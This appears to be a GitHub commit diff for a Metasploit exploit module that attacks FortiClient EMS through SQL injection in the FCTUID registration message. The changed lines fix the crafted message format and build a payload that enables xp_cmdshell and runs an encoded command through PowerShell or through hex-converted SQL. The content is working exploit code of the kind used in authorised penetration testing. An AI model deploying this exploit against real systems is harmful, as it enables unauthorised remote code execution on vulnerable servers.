Skip to content

Commit 2ffe027

Browse files
committed
Responded to comments
1 parent c05aebe commit 2ffe027

File tree

1 file changed

+3
-7
lines changed

1 file changed

+3
-7
lines changed

modules/exploits/windows/http/forticlient_ems_fctid_sqli.rb

Lines changed: 3 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -203,13 +203,13 @@ def get_version
203203

204204
def get_message(sqli)
205205
message = "MSG_HEADER: FCTUID={SQLI_PLACEHOLDER}\n"
206-
message << "SIZE= {SIZE_PLACEHOLDER}\n\r"
206+
message << "SIZE= {SIZE_PLACEHOLDER}\r\n"
207207
message << "\n"
208208
# For 7.0 versions the register info gets placed after two pipe operators, for 7.2 it gets placed in between.
209209
if @version >= Rex::Version.new('7.2')
210210
message << "X-FCCK-REGISTER:SYSINFO|#{get_register_info}|\r\n"
211211
else
212-
message << "X-FCCK-REGISTER: SYSINFO||#{get_register_info}\n"
212+
message << "X-FCCK-REGISTER:SYSINFO||#{get_register_info}\r\n"
213213
end
214214
message << "\n"
215215
message << 'X-FCCK-REGISTER-END'
@@ -249,10 +249,6 @@ def check
249249
CheckCode::Safe("Version detected: #{@version}")
250250
end
251251

252-
def fully_url_encode(string)
253-
string.chars.map { |char| '%' + char.ord.to_s(16).upcase }.join
254-
end
255-
256252
def exploit
257253
# Things to note:
258254
# 1. xp_cmdshell is disabled by default so we must enable it.
@@ -265,7 +261,7 @@ def exploit
265261
@version ||= get_version
266262

267263
if @version >= Rex::Version.new('7.2')
268-
pload = "EXEC xp_cmdshell 'POWERSHELL.EXE -COMMAND \"\"Add-Type -AssemblyName System.Web; CMD.EXE /C ([SYSTEM.WEB.HTTPUTILITY]::URLDECODE(\"\"\"#{fully_url_encode(payload.encoded)}\"\"\"))\"\"'"
264+
pload = "EXEC xp_cmdshell 'POWERSHELL.EXE -COMMAND \"\"Add-Type -AssemblyName System.Web; CMD.EXE /C ([SYSTEM.WEB.HTTPUTILITY]::URLDECODE(\"\"\"#{Rex::Text.uri_encode(payload.encoded, 'hex-all')}\"\"\"))\"\"'"
269265
else
270266
pload = "DECLARE @SQL VARCHAR(#{payload.encoded.length}) = CONVERT(VARCHAR(MAX), 0X#{payload.encoded.unpack('H*').first}); exec xp_cmdshell @sql"
271267
end

0 commit comments

Comments
 (0)